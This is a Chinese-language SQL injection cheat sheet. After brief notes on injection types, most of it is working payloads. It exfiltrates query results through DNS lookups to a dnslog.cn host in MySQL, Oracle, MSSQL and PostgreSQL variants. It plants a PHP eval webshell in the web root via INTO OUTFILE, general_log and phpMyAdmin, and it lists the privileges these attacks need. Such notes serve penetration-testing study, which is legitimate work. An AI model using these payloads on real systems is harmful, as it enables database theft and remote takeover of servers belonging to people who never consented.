sql注入原理
攻击者构建特殊的输入作为参数传入到web应用程序,在代码里面直接与SQL语句进行拼接,执行SQL语句从而执行攻击者的恶意代码,获取敏感数据或者写入shell。
布尔盲注和时间盲注的区别
应用程序执行payload过后,有正常页面和异常页面,使用布尔盲注
执行payload过后,只有一种页面,但是可以通过时间延迟来判断,使用时间盲注
二次注入原理和常见情形
二次注入的原理主要就是入库和出库,当用户输入特殊字符时,服务端进行了转义,然后将数据插入到数据库中,但是数据插入到数据库中时转义的反斜杠没有代入数据库,后面又从数据库中取出数据然后拼接SQL语句时造成了SQL注入
宽字节注入原理
造成宽字节注入的原因是编码转换,应用程序的编码与数据库的编码不一致,编码转换导致的引号逃逸。
在gbk编码模式下,两个字节会重新编码为一个汉字。
按注入方式:
联合注入
报错注入
布尔盲注
时间盲注
二次注入
宽字节注入
按变量类型:
数字型
字符型
按HTTP提交方式:
GET注入
POST注入
COOKIE注入
sql注入无回显的的情况下
1.盲注 写脚本或者sqlmap
2.dnslog 把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。
DNSlog注入(https://www.cnblogs.com/wjrblogs/p/14367387.html)
mysql#
条件:
Windows
mysql.ini 中 secure_file_priv 必须为空,select @@secure_file_priv
适用于联合注入或堆叠注入
具体:
利用 mysql (Windows 适用)中的 load_file() 函数
select load_file(concat("\\\\",version(),".1ndex.dnslog.cn//1ndex.txt"));
当查询的数据中有特殊符号时,可使用 hex() 函数外带
select load_file(concat("\\\\",hex(version()),".1ndex.dnslog.cn//1ndex.txt"));,数据过长不行
oracle#
条件:适用于联合注入或堆叠注入
可用函数:
UTL_HTTP.REQUEST()
SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.1ndex.dnslog.cn') FROM sys.DUAL;
DBMS_LDAP.INIT()
SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.1ndex.dnslog.cn',80) FROM sys.DUAL;
HTTPURITYPE()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;
mssql#
条件:Windows、适用于堆叠注入
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"');
id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"');
postgreSQL
条件:Windows、适用于堆叠注入
id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.1ndex.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();
开启 db_link 扩展:
id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.1ndex.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT);
注意点
dns 查询有长度限制,所以当查询结果数据过长时需要截断
特殊符号,如@,一般先编码后再带出
mysql写入shell的方式
union select 后写入
lines terminated by 写入
lines starting by 写入
fields terminated by 写入
COLUMNS terminated by 写入
into outfile
id = 1 union select '<?php phpinfo();?>' into outfile 'D:\\wwwroot\\shell.php'#
id = 1 into outfile 'D:\\wwwroot\\shell.php' fields terminated by '<?php phpinfo();?>'#
如果是堆叠查询,可以利用log日志文件getshell
id=1;set global general_log='on';set global general_log_file='D:\\wwwroot\\shell.php';#
id=1;select '<?php phpinfo();?>';#
phpmyadmin写入shell
1.
CREATE TABLE `mysql`.`test` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`test` (`content` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `content` FROM `test` INTO OUTFILE 'D:\\wwwroot\\shell.php';
DROP TABLE IF EXISTS `test`;
2.
select '<?php @eval($_POST[pass]);?>' into outfile 'D:\\wwwroot\\shell.php';
select '<?php @eval($_POST[pass]);?>' into dumpfile 'D:\\wwwroot\\shell.php';
3.
show global variables like "%genera%";
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php phpinfo();?>';
set global general_log='off';
可以写入shell的权限
root权限
GPC关闭(能使用单引号),magic_quotes_gpc=On
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有create、insert、select的权限